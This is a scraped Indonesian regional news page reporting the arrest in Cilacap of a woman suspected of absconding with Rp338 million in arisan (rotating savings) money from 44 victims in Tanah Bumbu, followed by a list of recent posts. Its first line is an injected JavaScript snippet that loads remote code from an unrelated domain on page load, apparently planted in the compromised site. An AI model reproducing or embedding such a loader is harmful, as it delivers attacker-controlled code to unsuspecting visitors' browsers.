(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bawa Kabur Uang Arisan Rp338 Juta, BM Ditangkap Setreskrim Polres Tanbu di Cilacap


KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu melakukan pengejaran dan penangkapan seorang wanita terduga pelaku tindak pidana penipuan.

Pengejaran hingga akhirnya pelaku tertangkap di Desa Bulaksari, Kecamatan Bantarsari, Kabupaten Cilacap, Provinsi Jawa Tengah, pada Kamis (10/03/2022).

Pelaku adalah BM (38), warga Desa Manunggal, Kecamatan Karang Bintang, Kabupaten Tanah Bumbu. BM diduga telah melakukan dugaan tindak pidana penipuan dan penggelapan sebagaimana dimaksud dalam Pasal 378 KUHP dan Pasal 372 KUHP.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Reskrim Polres Tanah Bumbu AKP Wahyudi Erfan kepada awak media, Minggu (13/3/2022) membenarkan pemburuan dan penangkapan wanita tersebut.

 

Baca juga : Gelar Rapimnas Fornas LKSA dan Anak Yatim se Indonesia, Ini Kata Bupati Tanbu

“Ya benar, Unit Resmob Satreskrim Polres Tanah Bumbu yang dipimpin Iptu Aditya Prabowo bersama anggota memburu seorang wanita yang melarikan diri ke daerah Cilacap usai menipu para korbannya,” katanya.

Pelaku diduga kuat telah melakukan penipuan dan penggelapan uang milik  44 orang yang menjadi korbannya dengan modus arisan, namun tidak dibayarkan.

Usai melakukan aksinya, saat wanita itu coba dihubungi para korban tidak bisa dan diketahui telah melarikan diri ke Cilacap.

Atas dasar laporan para korban tersebut, Unit Resmob Satreskrim Polres Tanah Bumbu Polda Kalimantan Selatan, melakukan koordinasi dengan Polres Cilacap dan melakukan penangkapan terhadap pelaku.

Dugaan sementara para korban mengalami kerugian kisaran Rp 338 juta.

 

Baca juga  : Toko Modern Jual Migor Paketan di Banjarbaru, Wakil Rakyat: Warga ‘Dipaksa’ Beli yang Bukan Kebutuhan

Kini Unit Resmob Satreskrim Polres Tanah Bumbu, sedang dalam perjalanan menuju Tanah Bumbu membawa pelaku guna proses penyidikan lebih lanjut.

Pelaku akan kita jerat dengan Pasal 378 KUHP dan Pasal 372 KUHP tentang penipuan dan penggelapan dengan ancaman hukuman penjara selama empat tahun. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.